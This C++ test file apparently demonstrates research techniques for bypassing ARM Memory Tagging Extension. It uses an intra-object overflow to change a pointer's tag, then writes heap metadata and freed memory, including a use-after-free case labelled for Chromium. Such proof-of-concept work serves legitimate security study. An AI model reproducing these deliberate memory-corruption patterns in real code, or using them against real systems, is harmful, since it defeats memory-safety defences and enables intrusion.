test_mte_exploits.cpp

#include <stdlib.h> // pulls in declaration of malloc, free
#include <string.h> // pulls in declaration for strlen.
#include <stdio.h> // pulls in printf

struct S
{
	char arr1[10];
	char* arr2;
};

void setVal(char* p, size_t id, char val)
{
	p[id] = val;
}

void incVal(char* p, size_t id)
{
	p[id] += 1;
}

void src_code(int ind1, int ind2, char val)
{
	struct S obj;
	obj.arr2 = (char*) malloc(20);

	// over writing tag to 0:
	obj.arr1[ind1] = 0;
	// accessing metadata:
	obj.arr2[ind2] = val;
}

void src_code_chromium(int ind1, int ind2, char val)
{
	char* arr1 = (char*) malloc(64);
	struct S obj;
	obj.arr2 = arr1;
	free(arr1);
	// arr2 is now a dangling pointer
	// increment the tag of arr2 using intra-object overflow:
	obj.arr1[ind1] += 1;
	// access freed memory:
	obj.arr2[ind2] = val;
}

int main()
{
	// Listing 1 using Intra-object overflow:
	struct S obj;
	obj.arr2 = (char*) malloc(10);
	printf("Addr arr2 before overflow: %p \n", obj.arr2);
	setVal(obj.arr1, 11, 0);
	printf("Addr arr2 after overflow: %p \n", obj.arr2);

	// now we can read/modify metadata of arr1
	setVal(obj.arr2, -16, 10);
	// we can also read freed memory:
	setVal(obj.arr2, 32, 10);


	// Later: Listing 1 using type confusion:
	src_code(11, -16, 7);
	src_code_chromium(11, 0, 10);
	return 0;
}